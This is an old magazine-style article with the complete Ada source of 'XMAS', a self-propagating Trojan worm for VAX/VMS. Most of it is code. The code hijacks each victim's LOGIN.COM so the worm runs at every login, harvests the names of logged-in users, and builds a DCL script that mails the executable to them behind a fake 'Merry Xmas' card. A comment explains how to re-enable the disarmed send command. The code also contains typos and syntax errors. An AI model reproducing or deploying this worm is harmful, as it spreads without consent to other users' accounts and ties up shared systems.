VMS Worm
by Jeff Gray
Last November/December the press began reporting on what is now known to be the work of Robert T. Morris. After attending a lecture featuring his Internet worm, I began thinking how other operating systems, besides UNIX, pose security problems (i.e., VMS). VMS is a popular operating system for DEC's VAX family of computers. This article offers a coded example of an elementary worm that works under VMS. The worm does not attach itself to a host program like a virus, but propagates by reproducing entire copies to other accounts. This worm will not attempt to reproduce itself on other networks. It is only concerned with the local computer on which it is released.
For safety reasons, the majority of the code was created on a PC using RR Software's Janus/Ada. After preliminary tests the code was then moved to a VAX and compiled with DEC Ada. Several vestigial instructions remain that were implemented so the worm would not spread during testing.
The Ada language was chosen far two reasons. First, I wanted to expand my skill in Ada and thought that this would be a profitable exercise. Second, I have never seen a virus/worm documented anywhere that was written in Ada. So it could be safe to assert that this is the first wore written in Ada. Hopefully an embedded systems programmer using Ada will not insert a modified version of this wore into any weaponry systems!
Code Explanation
The main procedure is named XMAS.
It has seven nested procedures:
- Display_Card
- Check_First_Run
- Make_New_Login_Com
- Get_Logon_Bak
- Check
- Get_SHU
- Build_Logon_Com
Each procedure performs various functions as the worm moves from account to account. Also in XMAS, before the nested procedures, one can note several declarations. These declarations will take care of the many logical file names required, as well as the various structures needed to contain the user names of accounts.
When the worm is originally released it will propagate itself to users only on the system at that particular tine. It will appear as a Trojan horse to a naive user. Once the callow user receives the worm, a series of actions occur. Curiosity will tempt them to execute the program called XMAS. This wore preys on the naive user who would try to run XMAS. Its major drawback is in the method of propagation, especially if it is sent to a user who would suspect a Trojan horse.
The first step in XMAS is to call the routine Check_First_Run.
Check_First_Run will decide if the wore is already activated in this account. It accomplishes this by viewing the LOGIN.COM file.
The LOGIN.COM file is a special file under VMS that can be likened to the AUTOEXEC.BAT file in MS-DOS. When the user first logs in, VMS will execute those DCL instructions contained in LOGIN.COM. A marker signal is attached to a new LOGIN.COM of an infected account. Check_First_Run will return a Boolean value based on the presence of this marker.
After returning from Check_First_Run, XMAS must make a decision based on the received Boolean called "Yes". If the worm has never been installed, execution is transferred to Make_New_Login_Com which creates the important new LOGIN.COM file. If the Boolean "Yes" is false then a chain of events follow which result in the creation of another DCL file called LOGIN.COM.
The LOGIN.COM begins to be crafted with a call from XMAS to Build_Logon_Com.
Build_Logon_Com will make the necessary calls needed to build LOGIN.COM. LOGIN.COM will eventually be a DCL file that does the actual propagation as explained later. Please see code comments for more detailed explanation of the above process.
Finally, the XMAS procedure will execute Display_Card every time the executable is called. This will display a seemingly innocent message long after the worm has performed its duties.
Conclusion
Admittedly there are many flaws with this worm implementation. Various features could be added to improve on the success ratio. There also is a chance that embedded bugs exist because certain traits could not be adequately tested. The purpose, however, was to create a worm that offered educational value by performing the basic steps needed for propagation. If the code explanation seems confusing, play computer and study the flow of execution. The Ada code is somewhat logical and should not offer serious problems.
Simple worms, similar to the one presented, can be created for practically every operating system that allows some sort of communication between users (like the SEND command, or a mail/phone utility). An operating system that totally guarded against worms/viruses by liaising user communication would probably be useless. An effective OS should allow communication between its various users. A certain amount of trust and responsibility needs to be formed for such systems to successfully continue existing.
-- ******************************************************************************************** -- WORM -- Worm demonstration on a VAX computer implemented by the Ada language. -- 90% of the work done on RR Software Janus/Ada -- -- Version Number : 1 (C) Copyright 1988, 1989 Jeff Gray -- -- To my girlfriend, Victoria ... -- ******************************************************************************************** with Text_IO; use Text_IO; -- Needed for basic IO -- procedure XMAS : -- -- This is the main procedure which starts the worm on its desired path -- toward infection. -- -- Requires: Check_First_Run, Make_New_Login_Com, Build_Logon_Com, Display_Card procedure XMAS is -- The following declare the various logical files that are needed. It -- first declares an array which holds the names of 300 users on the -- system who have been infected. Constant of 300 may wish to be edited. type User_List_Type is array(1..300) of String(1..8); User_List : User_List_Types; User_Length : Natural := 0; Login : File_Type; Logon : File_Type; Logon2 : File_Type; SHU : File_Type; Temp : String(1..8); Whole_Line : String(1..80); Last : Integer; Yes : Boolean; -- Beginning of nested procedures... -- -- procedure Display_Card : -- -- This simple procedure clears the screen on a VT-100 and then displays -- a seemingly innocuous message. This is displayed alter the worm has -- finished its business. -- -- Serves : XMAS procedure Display_Card is begin Put (ASCII.ESC); Put ("[2J"); New_Line(5); Set_Col(12); Put_Line("MERRY XMAS"); New_Line(3); Set_Col(28); Put_Line("And a Happy New Year!!!"); end Display_Card; -- procedure Check_First_Run : -- -- Check_First_Run will look at the current LOGIN.CON file, if available, -- and determine if the account has already been infected. It will return -- a Boolean based on whether it has been infected or not. -- -- Serves: XMAS procedure Check_First_Run(Answer : out Boolean) is Test : String(1..13); -- Hold first line of LOGIN.COM Last : Integer; -- Length of first line in LOGIN.COM begin Open(Login, In_File, "LOGIN.COM"); Get_Line(Login, Test, Last); Close(Login); if Test = "$ M := MARKER" then Answer := False; -- Account already infected. else Answer := True; -- First tine worm executed. end if; exception -- Error handler : when others => null; -- Control passes here if no Answer := True; -- LOGIN.CON exists. -- This indicates first time worm executed. end Check_First_Run; -- procedure Make_New_login_Com : -- -- When the worm is first executed on a particular account, this procedure -- is called in order to create a new LOGIN.COM. The old LOGIN.COM is not -- destroyed. -- -- Serves: XMAS procedure Make_New_Login_Com is begin -- DCL commands explained in text... Create(Login, Out_File, "LOGIN.COM"); Put_Line(Login, "$ M := MARKER"); Put_Line(Login, "$ DEFINE/USER SYS$OUTPUT SHU.DAT"); Put_Line(Login, "$ SH U"); Put_Line(Login, "$ RUN XMAS"); Put_Line(Login, "$ @LOGON"); -- A manipulation task could be appended to above file. Close(Login); end Make_New_Login_Com; -- procedure Get_Logon_Bak : -- The worm is executed each tine the user logs in. To prevent too many -- copies being sent to same account, the LOGON.BAK file is used to keep track -- of who received the worm from a particular account. It will not send the -- worm again to those found in LOGON.BAK. A problem exists in that each -- LOGON.BAK file is different for each account, as explained in text. -- -- Serves: Build_Logon_Com procedure Get_Logon_Bak is begin User_Length := 0; Open(Logon2, In_File, "LOGON.BAK"); loop if not End_Of_File(Logon2) then -- Insert all names in User_Length := User_Length + 1; -- LOGON.BAK into the Get_Line(Logon2, Whole_Line, Last); -- large array. User_List(User_Length) := Whole_Line(1..8); else exit; end if; end loop; Close(Logon2); exception -- Error handler : when others => null; -- If no LOGON.BAK existed previously, then -- no names are copied into array. end Get_Logon_Bak; -- procedure Check : -- -- Check will test to see if the current account name being analyzed -- from SHU.DAT is already in the user name array formed form LOGON.BAK. -- It returns a Boolean based on the result of the test. -- -- Serves: Get_SHU procedure Check(Answer : out Boolean) is -- Temp is a global which holds the name of the current account -- being referenced form SHU.BAT. It is assigned in Get_SHU. begin Answer := True; -- Innocent unless proven otherwise... for I in 1..User_Length -- Loop through array of past recipients. loop if User_List(I) = Temp then -- If found in array, then this account Answer := False; -- has already been Infected. Set Boolean exit; -- to proper state. end if; end loop; end Check; -- procedure Get_SHU : -- -- Probably the most important procedure, it will check valid account names -- found in SHU.DAT and see if they have been infected by calling procedure -- Check. It will then add uninfected names on the list contained in -- LOGON.COM which will perform the propagation. -- -- Requests : Check -- Serves : Build_Logon_Com procedure Get_SHU is begin Open(SHU, In_File, "SHU.BAT"); Create(Logon, Out_File, "LOGON.COM"); Put_Line(Logon, "$ PURGE LOGON.*"); -- Erase all past occurrences Put_Line(Logon, "$ PURGE SHU.BAT"); -- of LOGON.COM and SHU.DAT. for I in 1..5 -- Skip past the junk in SHU.DAT loop Get_Line(SHU, Whole_Line, Last); -- "VAX/VMS Interactive..." end loop; -- and get to the first account. loop; if not End_Of_File(SHU) then Get_Line(SHU, Whole_Line, Last); -- Get a new account name from Temp := Whole_Line(2..9); -- SHU.DAT and store in Temp. Check(Yes); if Yes = True then if User_Length < 300 then -- If account in Temp not already User_Length := User_Length + 1 -- infected AND we did not exceed User_List(User_Length) := Temp -- user list array, then add this Put(Logon, "$ XXXX XMAS.EXE")) -- account to the list to be -- infected by LOGON.COM. -- Bad programming style of hardcoding the constant 300. Tsk, Tsk... -- For the worm to work properly, must replace XXXX with : SEND/FILE/VMSDUMP -- in the preceding line. -- -- This was used as a precaution during testing to -- make sure that the worm would not be set loose. After testing, I -- have concluded that if set loose, this program could create havoc -- on a system like ----- by tying up resources. A modified version with -- a malicious manipulation task could offer even further danger. Put_Line(Logon, Temp); -- Append account name to end of -- SEND command. end if; end if; else Close(SHU); Close(LOGON); exit; end if; end loop; exception -- Error handler : when others => null; -- In case of any freak file errors. end Get_SHU; -- procedure Build_Logon_Com -- -- After worm is executed and control returns to LOGIN.COM, a DCL file -- is executed named LOGON.COM. This procedure calls routines that build -- the file. The article text offers explanation of DCL commands used. -- -- Requests: Get_Logon_Bak, Get_SHU -- Serves: XMAS procedure Build_Logon_Com is begin Get_Logon_Bak; Get_SHU; -- Update the LOGON.BAK file so that it is up to date with the new -- accounts infected that were found from SHU.DAT -- That old LOGON.BAK is purged by new LOGON.COM. Sorry if nomenclature -- of file names confuses you. Create(Logon2, Out_File, "LOGON.BAK"); for I in 1..User_Length -- Loop through entire array, loop -- including new entries from Put_Line(Logon2, User_List(I)); -- SHU.DAT, and place them in end loop; -- a new LOGON.BAK Close(Logon2); end Build_Logon_Com; -- Here starts the code for XMAS ... begin Check_First Run(Yes); -- Check to see if already infected. if Yes = True then -- If never infected before, then build -- new LOGIN.COM to start propagation on Make_New_Login_Com; -- next log in. else Build_Logon_Com; -- If already infected, then commence process -- to propagate to users found in SHU.DAT. end if; Display_Card; -- After dirty work 1s done, then display -- XMAS greetings. end XMAS; -- Merry Christmas!Code: VMS-worm.ada